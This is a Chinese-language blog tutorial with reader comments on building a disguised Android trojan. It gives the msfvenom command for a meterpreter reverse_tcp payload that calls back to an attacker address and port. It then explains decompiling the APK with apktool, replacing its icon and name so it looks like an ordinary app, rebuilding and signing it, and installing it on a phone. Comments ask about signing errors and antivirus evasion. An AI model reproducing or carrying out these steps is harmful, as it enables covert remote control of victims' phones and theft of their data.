一:生成一个android木马
命令:
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.108 LPORT=5555 R > bbskali.apk
如图,将会生成一个名为bbskali的apk
二:反编译生成的木马
命令:
apktool d bbskali.apk
三:修改木马图片
- 1.1:先下载一个格式为png格式的图标。
- 1.2:在res新建 drawable 将png格式图片放到里面
- 1.3:修改AndroidManifest.xml文件,打开文件在里面新添一句代码
<application android:icon="@drawable/icon" android:label="@string/app_name">
将原来的<application android:label="@string/app_name">
删除
修改完成后,保存文件。
三:修改木马的名称
打开文件res-values-strings.xml
文件,修改为你自己的名称
四:回编木马
命令:
apktool b bbskali
新的木马文件生成在dist
目录下,ok,现在木马还不能用。我们需要重新签名。
五:木马签名
将生的木马复制到本地,我们用安卓签名软件进行签名
六:手机安装木马
效果如下:
安装运行
签名失败怎么回事,放在c盘也不行,也没有中文空格。求解!
你换个签名工具试试
这是给apk做免杀吗?
我会一直回来学些的
报错
W: aapt: brut.common.BrutException: brut.common.BrutException: Could not extract resource: /prebuilt/aapt/linux/aapt (defaulting to $PATH binary)
W: /root/bbskali/AndroidManifest.xml:28: error: Error: No resource found that matches the given name (at 'icon' with value '@drawable/icon').
W:
brut.androlib.AndrolibException: brut.common.BrutException: could not exec (exit code = 1): [aapt, p, --min-sdk-version, 10, --target-sdk-version, 17, --version-code, 1, --version-name, 1.0, --no-version-vectors, -F, /tmp/APKTOOL9672151000996426711.tmp, -0, arsc, -I, /root/.local/share/apktool/framework/1.apk, -S, /root/bbskali/res, -M, /root/bbskali/AndroidManifest.xml]
/root/bbskali/AndroidManifest.xml:28: error这行有问题,仔细看下文章!注意图标的位置!?
然鹅,都是做表面功夫